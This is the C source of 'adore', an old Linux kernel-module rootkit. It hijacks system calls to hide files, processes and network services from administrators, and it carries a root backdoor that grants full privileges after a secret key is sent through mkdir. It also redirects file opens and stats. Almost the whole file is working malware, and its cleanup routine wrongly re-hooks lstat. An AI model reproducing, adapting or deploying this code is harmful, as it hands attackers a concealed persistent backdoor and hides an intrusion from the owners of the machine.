/*** (C) 2001 by Stealth -- http://spider.scorpions.net/~stealth
 ***	
 ***
 *** (C)'ed Under a BSDish license. Please look at LICENSE-file.
 *** SO YOU USE THIS AT YOUR OWN RISK!
 *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. 
 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
 ***
 ***	-> Use ava to get all the things workin'.
 ***
 *** Greets fly out to all my friends. You know who you are. :)
 *** Special thanks to Shivan for granting root access to his
 *** SMP box for adore-development. More thx to skyper for also
 *** granting root access.
 ***
 ***/
#define MODULE 
#define __KERNEL__


#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>

#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/fs.h>

#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <sys/syscall.h>
#include <linux/dcache.h>

#include <linux/dirent.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/smp_lock.h>
#include <linux/capability.h>

#include "adore.h"

extern void *sys_call_table[];

int (*o_getdents)(unsigned int, struct dirent *, unsigned int);

int (*o_kill)(int, int);
int (*o_write)(unsigned int, char *, size_t);
int (*o_fork)(struct pt_regs);
int (*o_clone)(struct pt_regs);
int (*o_close)(unsigned int);
int (*o_symlink)(const char *, const char*);
long (*o_mkdir)(const char *, int);
int (*o_stat)(char *, struct stat *); 
int (*o_lstat)(char *, struct stat *);
int (*o_open)(char *, int, int);
int (*o_oldstat)(char *, struct __old_kernel_stat *);
int (*o_oldlstat)(char *, struct __old_kernel_stat *);

#ifdef __NR_stat64
int (*o_stat64)(char *, struct stat64 *, long);
#endif
#ifdef __NR_lstat64
int (*o_lstat64)(char *, struct stat64 *, long);
#endif

	
/* base = 10 
 * Special atoi: makes "/proc/478" 478 */
int my_atoi(const char *str)
{
	int ret = 0, mul = 1;
	const char *ptr;
    
	for (ptr = str; *ptr; ptr++)
		;        
	ptr--;
        while (ptr >= str) {
		if (*ptr < '0' || *ptr > '9')
            		break;
		ret += (*ptr - '0') * mul;
		mul *= 10;
		ptr--;
	}
	return ret;
}

/* Own implementation of find_task_by_pid() */
struct task_struct *my_find_task(pid_t pid)
{
	struct task_struct *p;
	
	for_each_task(p) {
		if (p->pid == pid)
			return p;
	}
	return NULL;
}


/* Look whether the PID holds the PF_INVISIBLE flag */
int is_invisible(pid_t pid)
{
	struct task_struct *p;
    
	if (pid < 0) 
		return 0;
    
	if ((p = my_find_task(pid)) == NULL)
		return 0;
	
	return ((p->flags & PF_INVISIBLE) == PF_INVISIBLE);
}

/* Look whether a file, with inode# 'ino' is hidden */
int is_secret(struct super_block *sb, struct dirent *d)
{
	struct inode *inode;
	int ret;
	
	if (!sb || !d)
		return 0;
	
	if (strcmp(d->d_name, ".") == 0 || strcmp(d->d_name, "..") == 0)
		return 0;
	
	if ((inode = iget(sb, d->d_ino)) == NULL)
		return 0;
	
	/* Is it hidden ? */
	if (inode->i_uid == ELITE_UID)
		ret = 1;
	else
		ret = 0;
	
	iput(inode);
	return ret;
}
		
#ifdef __NR_getdents64

/* Look whether a file, with inode# 'ino' is hidden
 * 64 Bit version
 */
int is_secret64(struct super_block *sb, struct linux_dirent64 *d)
{
	struct inode *inode;
	struct nameidata nd;
	int ret;
	mm_segment_t fs;

	if (!sb || !d)
		return 0;
	
	if (strcmp(d->d_name, ".") == 0 || strcmp(d->d_name, "..") == 0)
		return 0;

	fs = get_fs();
	set_fs(KERNEL_DS);
	
	/* user_path_walk expects data in userspace */
	if ((ret = user_path_walk_link(d->d_name, &nd))) {
		set_fs(fs);
		return 0;
	}
	set_fs(fs);
	
	if ((inode = nd.dentry->d_inode) == NULL)
		return 0;
	
	/* Is it hidden ? */
	if (inode->i_uid == ELITE_UID)
		ret = 1;
	else
		ret = 0;
	
	return ret;
}
#endif // __NR_getdents64
	
/* Mark a process for invisibility. */
int hide_process(pid_t pid)
{
	struct task_struct *p;
	
	/* Nobody may mess with swapper+init */
	if (pid <= 1)
		return -1;
		
        if ((p = my_find_task(pid)) == NULL)
	        return -1;

	p->flags |= (PF_INVISIBLE|PF_AUTH);	
        return 0;
}

/* Remove process from task-struct */
int remove_process(pid_t pid)
{
	struct task_struct *p;

	/* Nobody may mess with swapper+init */
	if (pid <= 1)
		return -1;

        if ((p = my_find_task(pid)) == NULL)
	        return -1;

	/* Must not have childs */
	if (p->p_cptr != NULL)
		return -1;

	/* from sched.h */
	REMOVE_LINKS(p);
        return 0;
}


/* Make process visible again. (un-mark it) */
int unhide_process(pid_t pid)
{
	struct task_struct *p = my_find_task(pid);
	
	if (!p)
		return -1;

	p->flags &= ~(PF_INVISIBLE|PF_AUTH);
	return 0;
}
	

/* Actually, do the hack. Change all PF_INVISIBLE proc's
 * PID to 0, making them disappear for proc's
 * get_pid_list(). */
int strip_invisible()
{
	struct task_struct *p;
	

	for_each_task(p) {
		if (p->flags & PF_INVISIBLE) {
		
			/* temorary save PID in exit_code */
			p->exit_code = p->pid;
			p->pid = 0;
		}
	}
	return 0;
}

/* ditto (reverse) */
int unstrip_invisible()
{
	struct task_struct *p;
	
	for_each_task(p) {
		if (p->flags & PF_INVISIBLE) {
			p->pid = p->exit_code;
			p->exit_code = 0;
		}
	}
	return 0;
}


/* remove all files from dirent, which are secret */
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
	int ret, proc = 0, offset, r;

	struct inode *dinode;
	struct file *file;
	char *ptr;
	struct dirent *curr, *prev = NULL, *d, *orig_d;
	struct super_block *sb;

	lock_kernel();

	if ((file = fget(fd)) == NULL) {
		unlock_kernel();
		return -EBADF;
	}
	
	/* Fetch the right superblock for this directory (fd) */ 
	sb = file->f_dentry->d_sb;
	dinode = file->f_dentry->d_inode;
    
    
	/* are we in /proc ? */
	if (dinode->i_ino == PROC_ROOT_INO)
		proc = 1;

/*#define USE_NEW_PROCS*/
/* define if you want to use new process hiding
 * technique */
#ifdef USE_NEW_PROCS	
	/* OK. if we are in proc, strip invisible processes */
	if (proc)
		strip_invisible();
#endif
	
	ret = o_getdents(fd, dirp, count);
	

#ifdef USE_NEW_PROCS
	/* Make them appear with normal PID again */
	if (proc)
		unstrip_invisible();
#endif
	
	if (ret <= 0)
		goto out;

	if ((d = kmalloc(ret, GFP_KERNEL)) == NULL)
		goto out;
	copy_from_user(d, dirp, ret);
	orig_d = d;
	
	ptr = (char*)d;	
	r = ret;
	
	while (ptr < (char *)orig_d + r) {
		curr = (struct dirent *)ptr;
		
		offset = curr->d_reclen;	/* offset to next entry */

#ifdef USE_NEW_PROCS
		if (is_secret(sb, curr)) {
#else
		if (is_secret(sb, curr) || (proc && is_invisible(my_atoi(curr->d_name)))) {
#endif
			if (!prev) {	/* if first entry is hidden 	*/
				ret -= offset;	/* cut it off		*/
				d = (struct dirent*)((char*)d + offset);
			} else {	/* not first		*/
				prev->d_reclen += offset;
				memset(curr, 0, offset);
			}
		} else
			prev = curr;
			
		ptr += offset;
		
	}
	copy_to_user(dirp, d, ret);
	kfree(orig_d);
out:
	fput(file);
	unlock_kernel();
	return ret;
}

#ifdef __NR_getdents64
/* remove all files from dirent, which are secret */
long n_getdents64(unsigned int fd, void *vp, unsigned int count)
{
	int ret, proc = 0, offset, r;

	struct inode *dinode;
	struct file *file;
	char *ptr;
	struct linux_dirent64 *curr, *prev = NULL, *d, *orig_d, *dirp;
	struct super_block *sb;

	lock_kernel();

	dirp = (struct linux_dirent64 *)vp;

	if ((file = fget(fd)) == NULL) {
		unlock_kernel();
		return -EBADF;
	}
	
	/* Fetch the right superblock for this directory (fd) */ 
	sb = file->f_dentry->d_sb;
	dinode = file->f_dentry->d_inode;
    
    
	/* are we in /proc ? */
	if (dinode->i_ino == PROC_ROOT_INO)
		proc = 1;

/*#define USE_NEW_PROCS*/
/* define if you want to use new process hiding
 * technique */
#ifdef USE_NEW_PROCS	
	/* OK. if we are in proc, strip invisible processes */
	if (proc)
		strip_invisible();
#endif
	
	ret = o_getdents64(fd, dirp, count);
	

#ifdef USE_NEW_PROCS
	/* Make them appear with normal PID again */
	if (proc)
		unstrip_invisible();
#endif
	
	if (ret <= 0)
		goto out;

	if ((d = kmalloc(ret, GFP_KERNEL)) == NULL)
		goto out;
	copy_from_user(d, dirp, ret);
	orig_d = d;
	
	ptr = (char*)d;	
	r = ret;
	
	while (ptr < (char *)orig_d + r) {
		curr = (struct linux_dirent64 *)ptr;
		
		offset = curr->d_reclen;	/* offset to next entry */

#ifdef USE_NEW_PROCS
		if (is_secret64(sb, curr)) {
#else
		if (is_secret64(sb, curr) || 
		    (proc && is_invisible(my_atoi(curr->d_name)))) {
#endif
			if (!prev) {	/* if first entry is hidden 	*/
				ret -= offset;	/* cut it off		*/
				d = (struct linux_dirent64*)((char*)d + offset);
			} else {		/* not first		*/
				prev->d_reclen += offset;
				memset(curr, 0, offset);
			}
		} else
			prev = curr;
			
		ptr += offset;
		
	}
	copy_to_user(dirp, d, ret);
	kfree(orig_d);
out:
	fput(file);
	unlock_kernel();
	return ret;
}

#endif /* __NR_getdents64 */

/* The new fork. Its task is to inherit the PF_INVISIBLE
 * to childs.
 */
int n_fork(struct pt_regs regs)
{
	pid_t pid;
	int hide = 0;
    
	lock_kernel();
	if (is_invisible(current->pid))
    		++hide;
    
	pid = o_fork(regs);

	if (hide && pid >= 0)
    		hide_process(pid);
    	unlock_kernel();
	return pid;
}


int n_clone(struct pt_regs regs)
{
	pid_t pid;
	int hide = 0;
    
	lock_kernel();
	if (is_invisible(current->pid))
		++hide;
    
	pid = o_clone(regs);
	if (hide && pid > 0)
		hide_process(pid);
    	unlock_kernel();
	return pid;
}


int n_kill(pid_t pid, int sig)
{
	struct task_struct *p;
	int ret;
	
	lock_kernel();
	
	if (sig != SIGINVISIBLE && sig != SIGVISIBLE && sig != SIGREMOVE) {
		/* If someone from outside try's to send signals to
		 * us, refuse (except init) */
		if (is_invisible(pid) && !is_invisible(current->pid) && 
		    current->pid != 1)
			ret = -ESRCH;
		else
			ret = o_kill(pid, sig);

		unlock_kernel();
		return ret;
	}
    
	/* authenticated? */
	if ((current->flags & PF_AUTH) != PF_AUTH) {
		ret = -ESRCH;
		goto out;
	}
		
	if ((p = my_find_task(pid)) == NULL) {
        	ret = -ESRCH;
		goto out;
	}
    
	if (current->uid && current->euid) {
		ret = -EPERM;
		goto out;
	}
    
	if (sig == SIGINVISIBLE) 
        	ret = hide_process(pid);
	else if (sig == SIGREMOVE)
		ret = remove_process(pid);
	else
        	ret = unhide_process(pid);

out:
    	unlock_kernel();
	return ret;
}

/* Woa! Incredible. We don't hide by read() but by write() !!!
 * Groundbreaking new and effective.
 */
int n_write(unsigned int fd, char *buf, size_t count)
{
	char tmp[2000];
	int r, i;
	
	lock_kernel();
	
	/* Is it netstat ? */
	if (strcmp(current->comm, "netstat") == 0 ) {
		memset(tmp, 0, sizeof(tmp));
		copy_from_user(tmp, buf, sizeof(tmp)-1);
		for (i = 0; HIDDEN_SERVICES[i]; ++i) {
			if (strstr(tmp, HIDDEN_SERVICES[i])) {
				unlock_kernel();
				return count;
			}
		}
	}

	r = o_write(fd, buf, count);
	unlock_kernel();
	return r;
}


/* The rootshell-backdoor */
int n_close(unsigned int fd)
{
	int r;
	
	lock_kernel();
   	switch (fd) {
	case ELITE_CMD:
		if ((current->flags & PF_AUTH) != PF_AUTH) {
			r = -EPERM;
			break;
		}

    		/* Raise normal UID stuff ... */
		current->uid = current->euid = 0;
    		current->gid = current->egid = 0;
    		current->suid = current->sgid = 0;
    		current->fsuid = current->fsgid = 0;
		
		/* ... as well as new Capabilities */
		cap_t(current->cap_effective) = ~0;
		cap_t(current->cap_inheritable) = ~0;
		cap_t(current->cap_permitted) = ~0;

		r = 0;
		break;

	/* to uninstall adore */
	case ELITE_CMD + 1:	
		if ((current->flags & PF_AUTH) != PF_AUTH) {
			r = -EPERM;
			break;
		}

		r = cleanup_module();
		break;

	/* to check whether adore is installed */
	case ELITE_CMD + 2:
		if ((current->flags & PF_AUTH) != PF_AUTH) {
			r = -EPERM;
			break;
		}

		r = ADORE_VERSION;
		break;
	/* just the normal setuid() */
	default:
		r = o_close(fd);
		break;
	}
	unlock_kernel();
	return r;
}


/* "Authenticate" before you can use any adore functions */
long n_mkdir(const char *path, int mode)
{
	char key[64];
	long r, l;

	lock_kernel();

	if ((l = strnlen_user(path, PATH_MAX)) < sizeof(key)) {
		memset(key, 0, sizeof(key));
		copy_from_user(key, path, l);

		if (strcmp(key, ADORE_KEY) == 0) {
			current->flags |= PF_AUTH;
			unlock_kernel();
			return 1;
		}
	}
	r = o_mkdir(path, mode);
	unlock_kernel();
	return r;
}

/* Free pathname data structure.
 * Can be called multiple times on same object.
 * We need this Versprechen since we'll use
 * it.
 */
void fp_put(struct pathname *pn)
{
	if (!pn)
		return;

	if (pn->buf)
		kfree(pn->buf);

	pn->buflen = 0;
	pn->buf = NULL;
}


/* Attempt to resolve full path of file
 */
int fp_get(char *str, struct pathname *pn) 
{
	char *path, *kname;
	struct dentry *dentry;

	pn->buf = NULL;

	if (IS_ERR(kname = getname(str)))
		return -1;
	pn->buf = path = kmalloc(PATH_MAX, GFP_KERNEL);

#if LINUX_VERSION_CODE > LinuxVersionCode(2,3,0)
	{
		struct nameidata nd;
		struct vfsmount *mnt;

		if (path_init(kname, LOOKUP_FOLLOW|LOOKUP_POSITIVE, &nd)) {
			if (path_walk(kname, &nd)) {
				fp_put(pn);
				putname(kname);
				return -1;
			}
		}
		dentry = nd.dentry;
		mnt    = nd.mnt;
		if (IS_ERR(dentry) || IS_ERR(mnt)) {
			fp_put(pn);
			putname(kname);
			return -1;
		}
		str = d_path(dentry, mnt, path, PATH_MAX);
		path_release(&nd);
	}
#else
	dentry = open_namei(kname, 0, 0);
	if (IS_ERR(dentry)) {
		fp_put(pn);
		putname(kname);
		return -1;
	}
	str = d_path(dentry, path, PATH_MAX);
	dput(dentry);
#endif
	putname(kname);
	strncpy(path, str, PATH_MAX);
	pn->buflen = strnlen(path, PATH_MAX);
	return 0;
}


/*
 * We're doing real file redirection, the original file gets stat'ed.
 * In case of any error, let the origianl syscall handle the return codes.
 */
int n_oldstat(char *filename, struct __old_kernel_stat *statbuf)
{
	int count, r;
	struct pathname pn;

	lock_kernel();
	
	/* Try to get full path, if failed, let the real syscall handle the error
	 */
	if (fp_get(filename, &pn))
		goto out;
	
	/* Walk the entire redirect list, if any.
	 */
	for (count = 0; redir[count].requested; count++) {
		if (strstr(pn.buf, redir[count].requested)) {
			struct __old_kernel_stat kstatbuf;
			mm_segment_t orig_fs;

			fp_put(&pn);

			/* Copy the stat buf into kernel space
			 */
			if (copy_from_user(&kstatbuf,
				statbuf, sizeof(struct __old_kernel_stat)))
					goto out;

			/* Our data is in kernel space
			 */
			orig_fs = get_fs();
			set_fs(KERNEL_DS);
	
			/* Call the original syscall with the redirected filename
			 */
			r = o_oldstat(redir[count].redirected, &kstatbuf);

			set_fs(orig_fs);

			/* Copy statbuf back into userspace, we know its size...
			 */
			if (copy_to_user(statbuf, &kstatbuf,
				sizeof(struct __old_kernel_stat)))
					r =  -EFAULT;

			unlock_kernel();
			return r;
		}
	}

out:
	fp_put(&pn);

	/* No redirect for this file, call with user supplied filename
	 */
	r =  o_oldstat(filename, statbuf);
	unlock_kernel();
	return r;
}


/*
 * We're doing real file redirection, the original file gets stat'ed.
 * In case of any error, let the origianl syscall handle the return codes.
 */
int n_oldlstat(char *filename, struct __old_kernel_stat *statbuf)
{
	int count, r;
	struct pathname pn;

	lock_kernel();
	
	/* Try to get full path, if failed, let the real syscall handle the error
	 */
	if (fp_get(filename, &pn))
		goto out;
	
	/* Walk the entire redirect list, if any.
	 */
	for (count = 0; redir[count].requested; count++) {
		if (strstr(pn.buf, redir[count].requested)) {
			struct __old_kernel_stat kstatbuf;
			mm_segment_t orig_fs;

			fp_put(&pn);

			/* Copy the stat buf into kernel space
			 */
			if (copy_from_user(&kstatbuf,
				statbuf, sizeof(struct __old_kernel_stat)))
					goto out;

			/* Our data is in kernel space
			 */
			orig_fs = get_fs();
			set_fs(KERNEL_DS);
	
			/* Call the original syscall with the redirected filename
			 */
			r = o_oldlstat(redir[count].redirected, &kstatbuf);

			set_fs(orig_fs);

			/* Copy statbuf back into userspace, we know its size...
			 */
			if (copy_to_user(statbuf, &kstatbuf,
				sizeof(struct __old_kernel_stat)))
					r = -EFAULT;

			unlock_kernel();
			return r;
		}
	}

out:
	fp_put(&pn);

	/* No redirect for this file, call with user supplied filename
	 */
	r = o_oldlstat(filename, statbuf);
	unlock_kernel();
	return r;
}


/*
 * We're doing real file redirection, the original file gets stat'ed.
 * In case of any error, let the origianl syscall handle the return codes.
 */
int n_stat(char *filename, struct stat *statbuf)
{
	int count, r;
	struct pathname pn;

	lock_kernel();	

	/* Try to get full path, if failed, let the real syscall handle the error
	 */
	if (fp_get(filename, &pn))
		goto out;
	
	/* Walk the entire redirect list, if any.
	 */
	for (count = 0; redir[count].requested; count++) {
		if (strstr(pn.buf, redir[count].requested)) {
			struct stat kstatbuf;

			fp_put(&pn);

			/* Copy the stat buf into kernel space
			 */
			if (copy_from_user(&kstatbuf, statbuf, sizeof(struct stat)))
				goto out;

			/* Our data is in kernel space
			 */
			set_fs(KERNEL_DS);
	
			/* Call the original syscall with the redirected filename
			 */
			r = o_stat(redir[count].redirected, &kstatbuf);

			/* Copy statbuf back into userspace, we know its size...
			 */
			if (copy_to_user(statbuf, &kstatbuf, sizeof(struct stat)))
				r = -EFAULT;

			unlock_kernel();
			return r;
		}
	}
out:
	fp_put(&pn);

	/* No redirect for this file, call with user supplied filename
	 */
	r = o_stat(filename, statbuf);
	unlock_kernel();
	return r;
}


/*
 * We're doing real file redirection, the original file gets stat'ed.
 * In case of any error, let the origianl syscall handle the return codes.
 */
int n_lstat(char *filename, struct stat *statbuf)
{
	int count, r;
	struct pathname pn;

	lock_kernel();

	/* Try to get full path, if failed, let the real syscall handle the error
	 */
	if (fp_get(filename, &pn))
		goto out;

	/* Walk the entire redirect list, if any.
	 */
	for (count = 0; redir[count].requested; count++) {
		if (strstr(pn.buf, redir[count].requested)) {
			struct stat kstatbuf;
			mm_segment_t orig_fs;

			fp_put(&pn);

			/* Copy the stat buf into kernel space
			 */
			if (copy_from_user(&kstatbuf, statbuf, sizeof(struct stat)))
					goto out;

			/* Our data is in kernel space
			 */
			orig_fs = get_fs();
			set_fs(KERNEL_DS);

			/* Call the original syscall with the redirected filename
			 */
			r = o_lstat(redir[count].redirected, &kstatbuf);

			set_fs(orig_fs);

			/* Copy statbuf back into userspace, we know its size...
			 */
			if (copy_to_user(statbuf, &kstatbuf, sizeof(struct stat)))
				r = -EFAULT;

			unlock_kernel();
			return r;
		}
	}
out:
	fp_put(&pn);

	/* No redirect for this file, call with user supplied filename
	 */
	r = o_lstat(filename, statbuf);
	unlock_kernel();
	return r;	
}


#ifdef __NR_stat64
/*
 * We're doing real file redirection, the original file gets stat'ed.
 * In case of any error, let the origianl syscall handle the return codes.
 */
int n_stat64(char *filename, struct stat64 *statbuf, long flags)
{
	int count, r;
	struct pathname pn;

	lock_kernel();

	/* Try to get full path, if failed, let the real syscall handle the error
	 */
	if (fp_get(filename, &pn))
		goto out;
	
	/* Walk the entire redirect list, if any.
	 */
	for (count = 0; redir[count].requested; count++) {
		if (strstr(pn.buf, redir[count].requested)) {
			struct stat64 kstatbuf;
			mm_segment_t orig_fs;

			fp_put(&pn);

			/* Copy the stat buf into kernel space
			 */
			if (copy_from_user(&kstatbuf, statbuf, sizeof(struct stat64)))
				goto out;

			/* Our data is in kernel space
			 */
			orig_fs = get_fs();
			set_fs(KERNEL_DS);
	
			/* Call the original syscall with the redirected filename
			 */
			r = o_stat64(redir[count].redirected, &kstatbuf, flags);

			set_fs(orig_fs);

			/* Copy statbuf back into userspace, we know its size...
			 */
			if (copy_to_user(statbuf, &kstatbuf, sizeof(struct stat64)))
				r = -EFAULT;

			unlock_kernel();
			return r;
		}
	}
out:

	fp_put(&pn);

	/* No redirect for this file, call with user supplied filename
	 */
	r = o_stat64(filename, statbuf, flags);
	unlock_kernel();
	return r;
}
#endif

#ifdef __NR_lstat64
/*
 * We're doing real file redirection, the original file gets stat'ed.
 * In case of any error, let the origianl syscall handle the return codes.
 *
 */
int n_lstat64(char *filename, struct stat64 *statbuf, long flags)
{
	int count, r;
	struct pathname pn;

	lock_kernel();
	
	/* Try to get full path, if failed, let the real syscall handle the error
	 */
	if (fp_get(filename, &pn))
		goto out;
	
	/* Walk the entire redirect list, if any.
	 */
	for (count = 0; redir[count].requested; count++) {
		if (strstr(pn.buf, redir[count].requested)) {
			struct stat64 kstatbuf;
			mm_segment_t orig_fs;

			fp_put(&pn);

			/* Copy the stat buf into kernel space
			 */
			if (copy_from_user(&kstatbuf, statbuf, sizeof(struct stat64)))
				goto out;

			/* Our data is in kernel space
			 */
			orig_fs = get_fs();
			set_fs(KERNEL_DS);
	
			/* Call the original syscall with the redirected filename
			 */
			r = o_lstat64(redir[count].redirected, &kstatbuf, flags);

			set_fs(orig_fs);

			/* Copy statbuf back into userspace, we know its size...
			 */
			if (copy_to_user(statbuf, &kstatbuf, sizeof(struct stat64)))
				r = -EFAULT;

			unlock_kernel();
			return r;
		}
	}
out:
	fp_put(&pn);

	/* No redirect for this file, call with user supplied filename
	 */
	r = o_lstat64(filename, statbuf, flags);
	unlock_kernel();
	return r;
}
#endif


/*
 * We're doing real file redirection, the original file gets opened.
 * In case of any error, let the origianl syscall handle the return codes.
 */
int n_open(char *filename, int flags, int mode)
{
	int count, r;
	struct pathname pn;

	lock_kernel();
	
	/* Try to get full path, if failed, let the real syscall handle the error
	 */
	if (fp_get(filename, &pn))
		goto out;

	/* Walk the entire redirect list, if any.
	 */
	for (count = 0; redir[count].requested; count++) {
		if (!strcmp(pn.buf, redir[count].requested)) {
			mm_segment_t orig_fs;

			fp_put(&pn);

			orig_fs = get_fs();

			/* Our data is in kernel space
			 */
			set_fs(KERNEL_DS);

			/* Call the original syscall with the redirected
			 * filename.
			 */
			r = o_open(redir[count].redirected, flags, mode);

			set_fs(orig_fs);
			unlock_kernel();
			return r;
		}
	}
out:
	fp_put(&pn);

	/* No redirect for this file, call with user supplied filename
	 */
	r = o_open(filename, flags, mode);
	unlock_kernel();
	return r;
}


int init_module(void)
{
	struct task_struct *p = current;

	lock_kernel();

    	EXPORT_NO_SYMBOLS;

	/* Fill in init_hook (Eisbein mit Sauerkraut :) */
	for (; p->pid != 1; p = p->next_task)
		;
	init_hook = p;


#define REPLACE(x) o_##x = sys_call_table[__NR_##x];\
			sys_call_table[__NR_##x] = n_##x

	REPLACE(write);
	REPLACE(getdents);
	REPLACE(kill);
   	REPLACE(fork);
	REPLACE(clone); 
   	REPLACE(close); 
	REPLACE(open);
	REPLACE(stat);
	REPLACE(lstat);
	REPLACE(oldstat);
	REPLACE(oldlstat);

#ifdef __NR_stat64
	REPLACE(stat64);
#endif
#ifdef __NR_lstat64
	REPLACE(lstat64);
#endif

	REPLACE(mkdir);

#ifdef __NR_getdents64
	REPLACE(getdents64);
#endif

	unlock_kernel();
	return 0;
}


int cleanup_module(void)
{
	/* need unlock_kernel() b/c this function may be called
	 * from within adore
	 */
	lock_kernel();

#define RESTORE(x) sys_call_table[__NR_##x] = o_##x

	RESTORE(write);
	RESTORE(getdents);
	RESTORE(kill);
	RESTORE(fork);
	RESTORE(clone);
	RESTORE(close);
	RESTORE(open);
	RESTORE(stat);
	REPLACE(lstat);
	RESTORE(oldstat);
	RESTORE(oldlstat);

#ifdef __NR_stat64
	RESTORE(stat64);
#endif
#ifdef __NR_lstat64
	RESTORE(lstat64);
#endif	

	RESTORE(mkdir);

#ifdef __NR_getdents64
	RESTORE(getdents64);
#endif

	/* ditto */
	unlock_kernel();
	return 0;
}

